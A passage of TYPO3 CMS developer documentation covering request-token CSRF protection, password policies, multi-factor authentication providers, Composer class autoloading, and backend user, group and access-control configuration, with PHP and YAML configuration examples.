            $view->assign('requestToken', $requestToken);
            // ...
        }
    
        public function processAction()
        {
            // for the implementation, see below
        }
    }
    
    Copied!
    EXT:my_extension/Resources/Private/Templates/ShowForm.html
    <!-- Assign request token object for ViewHelper -->
    <f:form action="process" requestToken="{requestToken}">
        ...
    </f:form>
    Copied!

    The HTTP response on calling the shown controller action above will be like this:

    HTTP/1.1 200 OK
    Content-Type: text/html; charset=utf-8
    Set-Cookie: typo3nonce_[hash]=[nonce-as-jwt]; path=/; httponly; samesite=strict
    
    ...
    <form action="/my/process" method="post">
        ...
        <input type="hidden" name="__request_token" value="[request-token-as-jwt]">
        ...
    </form>
    Copied!
  2. Invoke action request and provide nonce and request token values

    When submitting the form and invoking the corresponding action, same-site cookies typo3nonce_[hash] and request-token value __RequestToken are sent back to the server. Without using a separate nonce in a scope that is protected by the client, the corresponding request token could be easily extracted from markup and used without having the possibility to verify the procedural integrity.

    The middleware \TYPO3\CMS\Core\Middleware\RequestTokenMiddleware takes care of providing the received nonce and received request token values in \TYPO3\CMS\Core\Context\SecurityAspect . The handling controller action needs to verify that the request token has the expected 'my/process' scope.

    EXT:my_extension/Classes/Controller/MyController.php
    <?php
    
    use TYPO3\CMS\Core\Context\Context;
    use TYPO3\CMS\Core\Context\SecurityAspect;
    use TYPO3\CMS\Core\Utility\GeneralUtility;
    
    final class MyController
    {
        public function showFormAction()
        {
            // for the implementation, see above
        }
    
        public function processAction()
        {
            $context = GeneralUtility::makeInstance(Context::class);
            $securityAspect = SecurityAspect::provideIn($context);
            $requestToken = $securityAspect->getReceivedRequestToken();
    
            if ($requestToken === null) {
                // No request token was provided in the request
                // for example, (overridden) templates need to be adjusted
            } elseif ($requestToken === false) {
                // There was a request token, which could not be verified with the nonce
                // for example, when nonce cookie has been overridden by another HTTP request
            } elseif ($requestToken->scope !== 'my/process') {
                // There was a request token, but for a different scope
                // for example, when a form with different scope was submitted
            } else {
                // The request token was valid and for the expected scope
                $this->doTheMagic();
                // The middleware takes care to remove the cookie in case no other
                // nonce value shall be emitted during the current HTTP request
                if ($requestToken->getSigningSecretIdentifier() !== null) {
                    $securityAspect->getSigningSecretResolver()->revokeIdentifier(
                        $requestToken->getSigningSecretIdentifier(),
                    );
                }
            }
        }
    }
    
    Copied!

Password policies

New in version 12.0

Introduction

TYPO3 includes a password policy validator which can be used to validate passwords against configurable password policies. A default password policy is included which ensures that passwords meet the following requirements:

  • At least 8 characters
  • At least one number
  • At least one upper case character
  • At least one special character
  • It must be different than current password (if available)

Password policies can be configured individually for both frontend and backend context. It is also possible to extend a password policy with custom validation requirements.

The password policy applies to:

  • Creating a backend user during installation
  • Setting a new password for a backend user in User settings
  • Resetting a password for a backend user
  • Resetting a password for a frontend user
  • Password fields in tables be_users and fe_users

Optionally, a password policy can be configured for custom TCA fields of the type password.

Configuring password policies

A password policy is defined in the TYPO3 global configuration. Each policy must have a unique identifier (the identifier default is reserved by TYPO3) and must at least contain one validator.

The password policy identifier is used to assign the defined password policy to the backend and/or frontend context. By default, TYPO3 uses the password policy default:

config/system/settings.php | typo3conf/system/settings.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordPolicy'] = 'default';
$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordPolicy'] = 'default';
Copied!

A custom password policy with the identifier simple can be configured like:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['passwordPolicies'] = [
    'simple' => [
        'validators' => [
            \TYPO3\CMS\Core\PasswordPolicy\Validator\CorePasswordValidator::class => [
                'options' => [
                    'minimumLength' => 6,
                ],
            ],
        ],
    ],
];
Copied!

Then assign the custom password policy simple to frontend and/or backend context:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordPolicy'] = 'simple';
$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordPolicy'] = 'simple';
Copied!

Password policy validators

TYPO3 ships with two password policy validators, which are both used in the default password policy.

\TYPO3\CMS\Core\PasswordPolicy\Validator\CorePasswordValidator

This validator has the ability to ensure a complex password with a defined minimum length and four individual requirements.

The following options are available:

minimumLength

minimumLength
type

int

Default

8

The minimum length of a given password.

upperCaseCharacterRequired

upperCaseCharacterRequired
type

bool

Default

false

If set to true at least one upper case character (A-Z) is required.

lowerCaseCharacterRequired

lowerCaseCharacterRequired
type

bool

Default

false

If set to true at least one lower case character (a-z) is required.

digitCharacterRequired

digitCharacterRequired
type

bool

Default

false

If set to true at least one digit character (0-9) is required.

specialCharacterRequired

specialCharacterRequired
type

bool

Default

false

If set to true at least one special character (not 0-9, a-z, A-Z) is required.

\TYPO3\CMS\Core\PasswordPolicy\Validator\NotCurrentPasswordValidator

This validator can be used to ensure, that the new user password is not equal to the old password. The validator must always be configured with the exclude action \TYPO3\CMS\Core\PasswordPolicy\PasswordPolicyAction::NEW_USER_PASSWORD, because it should be excluded, when a new user account is created.

Third-party validators

The extension EXT:add_pwd_policy provides additional validators.

Disable password policies globally

To disable the password policy globally (e.g. for local development) an empty string has to be supplied as password policy for frontend and backend context:

config/system/additional.php | typo3conf/system/additional.php
if (\TYPO3\CMS\Core\Core\Environment::getContext()->isDevelopment()) {
    $GLOBALS['TYPO3_CONF_VARS']['BE']['passwordPolicy'] = '';
    $GLOBALS['TYPO3_CONF_VARS']['FE']['passwordPolicy'] = '';
}
Copied!

Custom password validator

To create a custom password validator, a new class has to be added which extends \TYPO3\CMS\Core\PasswordPolicy\Validator\AbstractPasswordValidator . It is required to overwrite the following functions:

  • public function initializeRequirements(): void
  • public function validate(string $password, ?ContextData $contextData = null): bool

Please refer to \TYPO3\CMS\Core\PasswordPolicy\Validator\CorePasswordValidator for a detailed implementation example.

Validate a password manually

You can use the \TYPO3\CMS\Core\PasswordPolicy\PasswordPolicyValidator to validate a password using the validators configured in $GLOBALS['TYPO3_CONF_VARS']['SYS']['passwordPolicies'] .

The class cannot be injected as it must be instantiated with an action. Available actions can be found in enum EXT:core/Classes/PasswordPolicy/PasswordPolicyAction.php (GitHub).

Example:

In the following example a command to generate a public-private key pair validates the password from user input against the default policy of the current TYPO3 installation.

EXT:my_extension/Classes/Command/PrivateKeyGeneratorCommand.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Command;

use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;
use TYPO3\CMS\Core\PasswordPolicy\PasswordPolicyAction;
use TYPO3\CMS\Core\PasswordPolicy\PasswordPolicyValidator;

#[AsCommand(
    name: 'myextension:generateprivatekey',
    description: 'Generates an encrypted private key',
)]
final class PrivateKeyGeneratorCommand extends Command
{
    // Implement class MyService
    public function __construct(private readonly MyService $myService)
    {
        parent::__construct();
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $io = new SymfonyStyle($input, $output);
        $passwort = (string)$io->askHidden(
            'Please enter the password to encrypt the key',
        );
        $passwordValidator = new PasswordPolicyValidator(PasswordPolicyAction::NEW_USER_PASSWORD);
        $result = $passwordValidator->isValidPassword($passwort);
        if ($result === true) {
            $this->myService->generatePrivateKey($passwort);
            return Command::SUCCESS;
        }
        $io->error('The password must adhere to the default password policy.');
        return Command::FAILURE;
    }
}
Copied!

Event

The following PSR-14 event is available:

Multi-factor authentication

Introduction

TYPO3 is capable of authentication via multiple factors, in short "multi-factor authentication" or "MFA". This is sometimes also referred to "2FA" as a 2-factor authentication process, where - in order to log in - the user needs

  1. "something to know" (= the password) and
  2. "something to own" (= an authenticator device, or an authenticator app on mobile phones or desktop devices).

Read more about the concepts of MFA here: https://en.wikipedia.org/wiki/Multi-factor_authentication

TYPO3 Login Screen for entering MFA code (TOTP)

TYPO3 ships with some built-in MFA providers by default. But more importantly, TYPO3 provides an API to allow extension authors to integrate their own MFA providers.

The API is designed in a way to allow providers to be used for TYPO3 backend authentication or frontend authentication with a multi-factor step in-between.

Managing MFA providers is currently possible via the User Settings module in the tab called Account security.

Manage your MFA providers in the User Settings module

The Account security tab displays the current state:

  • whether MFA can be configured
  • whether MFA is activated or
  • whether some MFA providers are locked

Included MFA providers

TYPO3 Core includes two MFA providers:

Time-based one-time password (TOTP)

TOTP is the most common MFA implementation. A QR code is scanned (or alternatively, a shared secret can be entered) to connect an authenticator app such as Google Authenticator, Microsoft Authenticator, 1Password, Authly, or others to the system and then synchronize a token, which changes every 30 seconds.

On each log-in, after successfully entering the password, the six-digit code shown by the authenticator app must be entered.

Recovery codes

This is a special provider which can only be activated, if at least one other provider is active. It is only meant as a fallback provider, in case the authentication credentials for the "main" provider(s) are lost. It is encouraged to activate this provider, and keep the codes at a safe place.

Select a MFA provider screen

Third-party MFA providers

Some third-party MFA providers are available:

Setting up MFA for a backend user

Each provider is displayed with its icon, the name and a short description in the MFA configuration module. In case a provider is active, this is indicated by a corresponding label, next to the provider's title. The same goes for a locked provider - an active provider, which can currently not be used since the provider-specific implementation detected some unusual behaviour, for example, too many false authentication attempts. Additionally, the configured default provider indicates this state with a "star" icon, next to the provider's title.

Each inactive provider contains a Setup button which opens the corresponding configuration view. This view can be different depending on the MFA provider.

MFA TOTP provider configuration screen

Each provider contains an Edit/Change button, which allows to adjust the provider's settings. This view allows, for example, to set a provider as the default (primary) provider, to be used on authentication.

In case the provider is locked, the Edit/Change button changes its button title to Unlock. This button can be used to unlock the provider. This, depending on the provider to unlock, may require further actions by the user.

The Deactivate button can be used to deactivate the provider. Depending on the provider, this will usually completely remove all provider-specific settings.

The "Authentication view" is displayed as soon as a user with at least one active provider has successfully passed the username and password mask.

As for the other views, it is up to the specific provider, used for the current multi-factor authentication attempt, what content is displayed in which view. If the user has further active providers, the view displays them as "Alternative providers" in the footer to allow the user to switch between all activated providers on every authentication attempt.

All providers need to define a locking functionality. In case of the TOTP and recovery code providers, this, for example, includes an attempts count. These providers are locked in case a wrong OTP was entered three times in a row. The count is automatically reset as soon as a correct OTP is entered or the user unlocks the provider in the backend.

All TYPO3 Core providers also feature the "Last used" and "Last updated" information which can be retrieved in the "Edit/Change" view.

By default, the field in the User Settings module is displayed for every backend user. It is possible to disable it for specific users via user TSconfig:

setup.fields.mfaProviders.disabled = 1
Copied!

Administration of user's MFA providers

If a user is not able to access the backend anymore, for example, because all of their active providers are locked, MFA needs to be disabled by an administrator for this specific user.

Administrators are able to manage the user's MFA providers in the corresponding user record. The new Multi-factor authentication field displays a list of active providers and a button to deactivate MFA for the user, or only a specific MFA provider.

The listing of backend users in the System > Backend Users module also displays for each user, whether MFA is enabled or currently locked. This allows an administrator to analyze the MFA usage of their users at a glance.

The System > Configuration admininistration module shows an overview of all currently registered providers in the installation. This is especially helpful to find out the exact provider identifier, needed for some user TSconfig options.

MFA providers in the configuration module

Configuration

Enforcing MFA for users

It seems reasonable to require MFA for specific users or user groups. This can be achieved with $GLOBALS['TYPO3_CONF_VARS']['BE']['requireMfa'] which allows four options:

0
Do not require multi-factor authentication (default)
1
Require multi-factor authentication for all users
2
Require multi-factor authentication only for non-admin users
3
Require multi-factor authentication only for admin users

To set this requirement only for a specific user or user group, a user TSconfig option auth.mfa.required <t3tsref:user-auth-mfa-required> is available. The user TSconfig option overrules the global configuration.

auth.mfa.required = 1
Copied!

Allowed provider

It is possible to only allow a subset of the available providers for some users or user groups.

A configuration option "Allowed multi-factor authentication providers" is available in the user groups record in the "Access List" tab.

There may be use cases in which a single provider should be disallowed for a specific user, which is configured to be allowed in one of the assigned user groups. Therefore, the user TSconfig option auth.mfa.disableProviders can be used. It overrules the configuration from the "Access List": if a provider is allowed in "Access List" but disallowed via user TSconfig, it will be disallowed for the user or user group the TSconfig applies to.

This does not affect the remaining allowed providers from the "Access List".

auth.mfa.disableProviders := addToList(totp)
Copied!

TYPO3 integration and API

To register a custom MFA provider, the provider class has to implement the EXT:core/Classes/Authentication/Mfa/MfaProviderInterface.php (GitHub), shipped via a third-party extension. The provider then has to be configured in the extension's Services.yaml or Services.php file with the mfa.provider tag.

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  MyVendor\MyExtension\Authentication\Mfa\MyProvider:
    tags:
      - name: mfa.provider
        identifier: 'my-provider'
        title: 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider.title'
        description: 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider.description'
        setupInstructions: 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider.setupInstructions'
        icon: 'tx-myextension-provider-icon'
Copied!

Read how to configure dependency injection in extensions.

This will register the provider MyProvider with the my-provider identifier. To change the position of your provider the before and after arguments can be useful. This can be needed, for example, if you like your provider to show up prior to any other provider in the MFA configuration module. The ordering is also taken into account in the authentication step while logging in. Note that the user-defined default provider will always take precedence.

If you do not want your provider to be selectable as a default provider, set the defaultProviderAllowed argument to false.

You can also completely deactivate existing providers with:

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  TYPO3\CMS\Core\Authentication\Mfa\Provider\TotpProvider: ~
Copied!

You can also register multiple providers:

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  MyVendor\MyExtension\Authentication\Mfa\MyFirstProvider:
    tags:
      - name: mfa.provider
        identifier: 'my-provider-1'
        title: 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider1.title'
        description: 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider1.description'
        setupInstructions: 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider1.setupInstructions'
        icon: 'tx-myextension-provider1-icon'

  MyVendor\MyExtension\Authentication\Mfa\MySecondProvider:
    class: TYPO3\CMS\Core\Authentication\Mfa\Provider\TotpProvider
    tags:
      - name: mfa.provider
        identifier: 'my-provider-2'
        title: 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider2.title'
        description: 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider2.description'
        setupInstructions: 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:myProvider2.setupInstructions'
        icon: 'tx-myextension-provider2-icon'
        # Important so that this provider acts as a fallback
        defaultProviderAllowed: true
        before: 'recovery-codes'
        # Execute after the primary totp
        after: 'totp'
Copied!

The MfaProviderInterface contains a lot of methods to be implemented by the providers. This can be split up into state-providing ones, for example, isActive() or isLocked(), and functional ones, for example, activate() or update().

Their exact task is explained in the corresponding PHPDoc of the interface files and the Core MFA provider implementations.

All of these methods are receiving either the current PSR-7 request object, the \TYPO3\CMS\Core\Authentication\Mfa\MfaProviderPropertyManager or both. The MfaProviderPropertyManager can be used to retrieve and update the provider-specific properties and also contains the getUser() method, providing the current user object.

To store provider-specific data, the MFA API uses a new database field mfa, which can be freely used by the providers. The field contains a JSON-encoded array with the identifier of each provider as array key. Common properties of such provider array could be active or lastUsed. Since the information is stored in either the be_users or the fe_users table, the context is implicit. Same goes for the user the providers deal with. It is important to have such a generic field so providers are able to store arbitrary data, TYPO3 does not need to know about.

To retrieve and update the providers data, the already mentioned MfaProviderPropertyManager, which is automatically passed to all necessary provider methods, should be used. It is highly discouraged to directly access the mfa database field.

Autoloading

The class autoloader takes care of finding classes in TYPO3.

About makeInstance()

\TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance() is a generic way throughout Core and extensions to create objects. It takes care of singleton and XCLASS handling.

A developer can instantiate classes using makeInstance() - if dependency injection cannot be used. There are some situations where new is used over makeInstance(), effectively dropping especially the direct ability to XCLASS:

  • Data transfer objects are often created with new. A good example are PSR-14 events: The calling class creates a data transfer object that is hand over to the consumer. These DTOs must never be changed by an extension, since they are a contract both caller and consumer must stick to. They are thus created using new to prevent XCLASSing.
  • Structures with a dedicated API that allows own implementations on a configuration level sometimes do not use makeInstance: Many Core constructs come with an API to allow custom classes by dedicated configuration. Those implement a factory pattern to deal with this. An example is the PSR-15 middleware stack.

Autoloading classes

There is one autoloader used, the one of Composer. No matter if you run TYPO3 in Composer mode or not (Classic mode), TYPO3 uses the Composer autoloader to resolve all class file locations.

Loading classes with Composer mode

In Composer mode, the autoloader checks for (classmap and PSR-4) autoloading information inside your extension's composer.json. If you do not provide any information, the autoloader falls back to the classmap autoloading like in non-Composer mode.

Troubleshooting

Dump the class loading information manually via composer dumpautoload and check that the autoload information is updated. Typically you would check vendor/composer/ to hold files like autoload_classmap.php and autoload_psr4.php, etc.

Example:

$ tree vendor/composer
.
├── ClassLoader.php
├── LICENSE
├── autoload_classmap.php
├── autoload_files.php
├── autoload_namespaces.php
├── autoload_psr4.php
├── autoload_real.php
├── autoload_static.php
├── include_paths.php
└── installed.json
Copied!

Loading classes without Composer mode

This means, you did not install TYPO3 via a require statement inside your composer.json. It's a regular old-school install where the TYPO3 source and the symlinks (index.php) are setup manually.

In this case, every time you install an extension, the autoloader scans the whole extension directory for classes. No matter if they follow any convention at all. There is just one rule: put each class into its own file. This also means that there can only be a single class per file.

You can also explicitly configure autoloading in the ext_emconf.php.

The generated typo3conf/autoload_classmap.php is a large array with a mapping of classnames to their location on the disk:

typo3conf/autoload_classmap.php
<?php

// autoload_classmap.php @generated by TYPO3

$typo3InstallDir = \TYPO3\CMS\Core\Core\Environment::getPublicPath();

return array(
    'Schnitzler\\Templavoila\\Clipboard\\Clipboard' => $typo3InstallDir . 'typo3conf/ext/templavoila/Classes/Clipboard/Clipboard.php',
    'tx_templavoila_pi1' => $typo3InstallDir . 'typo3conf/ext/templavoila/Compatibility/class.tx_templavoila_pi1.php',
    ...
);
Copied!

This method is failsafe unless the autoload information cannot be written. In this case, check the Install Tool for warnings and make sure that typo3temp/ is writable.

Troubleshooting:

If your classes cannot be found, try the following approaches.

  • Dump the class loading information manually with the following command:

    php typo3/sysext/core/bin/typo3 dumpautoload
    Copied!
  • If that command itself fails, please (manually) uninstall the extension and try reinstalling it (via the Extension Manager).
  • If you are still not lucky, the issue is definitely on your side and you should double check the write permissions on typo3temp.

Best practices

  • If you didn't do so before, have a look at the PSR-4 standard. It defines very good rules for naming classes and the files they reside in. Really, read the specs and start using PSR-4 in your projects. It's unlikely that there will be any other more advanced standard in the near future in the PHP world. PSR-4 is the way to go and you should embrace it.
  • Even if you do not use Composer mode and the class mapping of the autoloader allows you to use whatever you want, stick to PSR-4. It's not only a very good standard to find classes, but it will also help organizing your code.
  • PSR-4 is all about namespaces. No matter if you like namespaces or not, use them. Namespaces exist since PHP 5.3, so you will be able to use them in any modern TYPO3 project due to the minimum PHP requirements of TYPO3 itself.

Further reading

ComposerClassLoader

Integrating Composer class loader into TYPO3

In our efforts to make TYPO3 faster and closer oriented to common PHP standard systems, we looked into the integration of the class loader that is used by all Composer-based projects. We consider this functionality a crucial feature for the future of TYPO3 on the base level, but also as a dramatic increase of the overall performance of every request inside TYPO3.

Understanding the TYPO3 class loader

The TYPO3 class loader is instantiated within the TYPO3 Bootstrap at a very early point. It does a lot of logic (checking ext_autoload.php, ClassAliasMap.php), and caches this logic away on a per-class basis by default in typo3temp/Cache/ to store all information for a class. This information contains: The full path to the class, the namespaced class name itself and possible class aliases.

The latter part looks into all extensions and checks the Migrations/ClassAliasMap.php file for any possible “legacy class” that could be used (e.g. t3lib_extmgm). This way, all extensions still using non-namespaced class that are shipped with the TYPO3 core are still made available.

The information is stored in a SimpleFileBackend via the built-in Caching Framework by default. At the early stage of the bootstrap process some classes need to be included manually as the whole TYPO3 core engine has not been loaded yet. This is done for all PHP classes in use, which may result in 500+ files inside typo3temp/Cache which are created one by one on an initial request with no caches set up. This is done by intention on a per-file-basis during runtime as a cache file is only created if a PHP class is requested to be instantiated. On a second hit, the caching framework does not create the cache files, but fetches one by one for each class used in the request via a separate file_get_contents() call.

When debugging TYPO3 on an initial request, there are a lot of file_get_contents() and file_put_contents() calls to store and fetch this information. This is quite a lot of overhead for loading PHP classes. Even without a lot of class aliases (e.g. in CMS7) this overhead of writing / storing the file caches still exists. Some overhead however is already taken care, especially if a class is loaded which is shipped with the core and no class alias is used.

This is all built in a way so a lot of backwards-compatibility can be ensured.

Understanding the Composer class loader

Compared to the TYPO3 class loader, the Composer class loader concept differs in the following major points:

Caching on build stage

When setting up a project, like a TYPO3 project, Composer checks the main composer.json of a project and builds a static file with all PSR-4 prefixes defined in that json file. Unless in a development environment or when updating the source, this file does not need to be rebuilt as the PHP classes of the loaded packages won’t change in a regular instance. This way all classes available inside TYPO3 are always available to the class loader.

Using PSR-4 compatible prefix-based resolving

Instead of looking up every single class and caching the information away, Composer works on a “prefix”-based resolution. As an example, the Composer class loader only needs to know that all PHP classes starting with \TYPO3\CMS\Core are located within EXT:core/Classes. The rest is done by a simple resolution to include the necessary PHP class files. This means that the information to be cached away is only the list of available namespace prefixes.

The definition of these prefixes is set inside the composer.json file of each package or distribution / project.

Autoloading developer-specific data differently

The Composer class loader checks the composer.json for a development installation differently, including for example unit and functional tests separately to the rest of the installation. The static map with all namespaces are thus different when using Composer with composer install or composer install --no-dev.

Integration Approach

The Composer class loader is injected inside the Bootstrap process of TYPO3 and registered before the TYPO3 class loader. This means that a lookup on a class name is first checked via the Composer logic, and if none found, the regular TYPO3 class loader takes over.

The support for class aliases is quite important for TYPO3, but is not supported by Composer by default. There is a separate Composer package created by Helmut Hummel (available on GitHub) which serves as a facade to the Composer class loader and creates not just the information for the prefixes but also the available class aliases for a class and loads them as well.

The necessary information about the “which namespaced classes can be found at which place” is created before every release and shipped inside the typo3_src directory. The generated class information is available under typo3/contrib/vendor/composer/. For TYPO3 installations that are set up with composer, the TYPO3 bootstrap checks Packages/Libraries/autoload.php first which can be shipped with any Composer-based project and include many more PHP Composer packages than just TYPO3 extensions. To ensure maximum backwards-compatibility, the option to load from Packages/Library/autoload.php instead of the shipped "required-core-packages-only" needs to be activated via an environment variable called TYPO3_COMPOSER_AUTOLOAD which needs to be set on server-side level.

If the Composer-based logic is not used in some legacy cases (for extensions etc), the usual TYPO3 class loader comes into play and does the same logic as before.

Project setup and extension considerations

If you already use Composer to set up your project, and the composer.json and their extensions ship a valid composer.json, the Composer class loader generates the valid PSR-4 cache file with all prefixes on installation and update. Running "composer update" will automatically re-generate the PSR-4 cache file.

The Composer class loader also supports PSR-0 and static inclusion of files, which can be used as well.

As a base line: Any regular installation will see a proper speed improvement after the update to the Composer class loader.

Backend APIs

The following APIs are of interest if you want to configure or extend the functionalities of the backend.

Contents:

Users and groups

TYPO3 features an access control system based on users and groups.

Users

Each user of the backend must be represented with a single record in the table "be_users". This record contains the username and password, other meta data and some permissions settings.

Part of the editing form for user "simple_editor" of the Introduction Package

The above screenshot shows a part of the editing form for the backend user "simple_editor" from the Introduction Package. If you have an Introduction Package available, you can check further properties of that user. It is part of the "Simple editors" group, has a name, an email address and its default language for the backend is English.

It is possible to assign rights directly to a user, but it is much better done using groups. Furthermore groups offer far more options.

Groups

Each user can also be a member of one or more groups (from the "be_groups" table) and each group can include sub-groups. Groups contain the main permission settings you can set for a user. Many users can be a member of the same group and thus share permissions.

When a user is a member of many groups (including sub-groups) then the permission settings are added together so that the more groups a user is a member of, the more access is granted to him.

Part of the editing form for group "Simple editors" of the Introduction Package

This screenshot shows just an extract of the group editing form. It contains many more fields!

See Access Control Options for details.

The "admin" user

There is a special kind of backend users called "Admin". When creating a backend user, just check the "Admin!" box in the "General" tab and that user will become an administrator. There's no need to set further access options for such a user: an admin user can access every single feature of the TYPO3 backend, like the "root" user on a UNIX system.

All systems must have at least one "admin" user and most systems should have only "admin" users for the developers - not for any editor. Make sure to not share TYPO3 accounts with multiple users but create dedicated accounts for everyone. Not even "super users" should be allowed "admin" access since that will most likely grant them access to more than they need.

Admin users are differentiated with an orange icon.

In Web > List view, the different icon for admin users

Location of users and groups

Since both backend users and backend groups are represented by records in the database, they are edited just as any other record in the system. However backend users and groups are configured to exist only in the root of the page tree where only admin users have access:

Users and groups reside on the root page

Records located in the page tree root are identified by having their "pid" fields set to zero. The "pid" field normally contains the relation to the page where a record belongs. Since no pages can have the id of zero, this is the id of the root. Notice that only "admin" users can edit records in the page root!

If you need non-admin users to create new backend users, have a look at the TYPO3 system extension sys_action for a possible solution.

Password reset functionality

TYPO3 backend users can reset their password if they use the default TYPO3 login mechanism.

To display the reset link on the backend login page, the following criteria must be met:

  • The user has a password entered previously (indicating that no third-party login has been used).
  • The user has a valid email address added to their user record.
  • The user is neither deleted nor disabled.
  • The email address is used only once for all backend users of the instance.

Once the user has entered their email address, an email is sent with a link that allows to set a new password, which must consist of at least eight characters. The link is valid for 2 hours and a token is added to the link. If the password is entered correctly, it will be updated for the user and they can log in.

The new password that the user specifies must comply with the configured password policy for the backend.

The username of the backend user is displayed in the password recovery email alongside the reset link.

New in version 13.0

A new array variable {userData} has been added to the password recovery FluidEmail object. It contains the values of all fields belonging to the affected frontend user.

Notes on security

  • When having multiple users with the same email address, no reset functionality is provided.
  • No information disclosure is built-in, so if the email address is not in the system, it is not disclosed to the outside.
  • Rate limiting is enabled so that three emails can be sent per email address within 30 minutes.
  • Tokens are stored in the database but hashed again just like the password.
  • When a user has logged in successfully (for example, because they remembered the password), the token is removed from the database, effectively invalidating all existing email links.

Implications of displaying the username in the email

  • A third-party gaining access to the email account has all information needed to log in into the TYPO3 backend and potentially cause damage to the website.
  • Without the username a third-party could only reset the password of the TYPO3 backend user, but not log in, if the username is different from the email address.
  • It is also possible to override the ResetRequested email templates to remove the username and customize the result.
  • It is highly recommend to protect backend accounts using Multi-factor authentication.

Global configuration

The feature is enabled by default and can be deactivated entirely via the system-wide configuration option:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordReset'] = false;
Copied!

Optionally, it is possible to restrict this feature to non-admins only by setting the following system-wide option to false.

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordResetForAdmins'] = false;
Copied!

Both options can be configured in the Admin Tools > Settings module or in the Install Tool, but can also be set manually via config/system/settings.php or config/system/additional.php.

Reset password for user

Administrators can reset a user's password. This is useful primarily for security reasons, so that an administrator does not have to send a password over to a user in plain text (for example, by email).

The administrator can use the CLI command:

vendor/bin/typo3 backend:resetpassword https://example.com/typo3/ editor@example.com
Copied!
typo3/sysext/core/bin/typo3 backend:resetpassword https://example.com/typo3/ editor@example.com
Copied!

where usage is described like this:

backend:resetpassword <backend_url> <email_address>
Copied!

Roles

Another popular approach to setting up users is roles. This concept is basically about identifying certain roles that users can take and then allow for a very easy application of these roles to users.

TYPO3 access control is far more flexible and allows for such detailed configuration that it lies very far from the simple and straight forward concept of roles. This is necessary as the foundation of a system like TYPO3 should fit many possible usages.

However it is perfectly possible to create groups that act like "roles". This is what you should do:

  1. Identify the roles you need; Developer, Administrator, Editor, Super User, User, ... etc.
  2. Configure a group for each role: attribute permissions needed to fulfill each role.
  3. Consider having a general group which all other groups include - this would basically configure a shared set of permissions for all users.

Access Control Options

The permissions of fully initialized backend users are the result of the rights granted in their own user records and all the user groups they belong to.

The permissions are divided into the following conceptual categories:

Access lists
These grant access to backend modules, database tables and fields.
Mounts
Parts of the page tree and server file system.
Page permissions
Access to work on individual pages based on the user id and group ids.
User TSconfig

A flexible and hierarchical configuration structure defined by TypoScript syntax. This typically describes "soft" permission settings and options for the user or group which can be used to customize the backend and individual modules.

All user TSconfig options are described in the TSconfig Reference

Access Lists

Access lists are defined at group-level. Usage of access lists for defining user rights is described in chapter Setting up user group permissions. The various access lists are described here for reference, with additional technical details, where necessary.

Modules

This is a list of submodules a user may be given access to. Access to a main module is implicit, as soon as a user has access to at least one of its submodules.

Not all submodules appear in this list. It is possible to restrict a submodule to admin users only. This is the case, in particular, for all Admin Tools and System modules, as well as the Web > Template module.

Dashboard widgets

A list of the available dashboard widgets a user may be allowed to use on the dashboard.

Tables for listing

A list of all tables a user may be allowed to read in the backend. Again this in not a list of all tables in the database. Some tables are low level and never appear in the backend at all, even for admin users. Other tables are restricted to admin users and thus do not show up in the access list.

Restricting a table to admin users only is done using the TCA property "adminOnly".

Tables for editing
This is exactly the same list of tables as before, but for granting modification rights.
Page types

TYPO3 CMS defines a number of page types. A user can be restricted to access only some of them.

For a full discussion on page types, please refer to the page types chapter.

Excludefields
When defining column tables in TCA, it is possible to set the "exclude" property to "1". This ensures that the field is hidden to users by default. Access to it must be explicitly granted in this access list.
Explicitly allow/deny field values

When a field offers a list of options to select from, it is possible to tell TYPO3 CMS that access to these options is restricted and should be granted explicitly. Such fields and their values appear here.

The related TCA property is "authMode".

Limit to languages
By default users can edit records regardless of what language they are assigned to. Using this list it is possible to restrict users to working only in selected languages.

When a user is a member of more than one group, the access lists for the groups are "added" together.

Mounts

TYPO3 CMS natively supports two kinds of hierarchical tree structures: the page tree (typically visible in the Web module) and the folder tree (typically visible in the File module). Each tree is generated based on the mount points configured for the current user. So a page tree is drawn from the DB Mounts which are one or more page ids telling the Core from which "start page" to draw the tree(s). Likewise is the folder tree drawn based on file mounts configured for the user.

DB mounts (page mounts) are set by pointing out the page that should be mounted for the user (at user or group-level):

The DB mounts for group "Editors"

This is what the user will see:

Only selected pages are accessible to the user

File Mounts are a little more difficult to set up, as they involve several steps. First of all, you need to have at least one File Storage. By default, you will always have one, pointing to the fileadmin directory. It is created by TYPO3 CMS upon installation.

A File Storage is essentially defined by a File Driver and the path to which it points.

Next we can create a File Mount record (on the root page), which refers to a File Storage:

A file mount pointing to the "user_upload" directory

When defining a File Mount, you can point to a specific folder within the chosen File Storage. Finally the mount is assigned to a user or group:

The file mount is assigned to the "Editors" group

After a successful configuration, the file mount will appear to the user:

The file tree as visible by the user

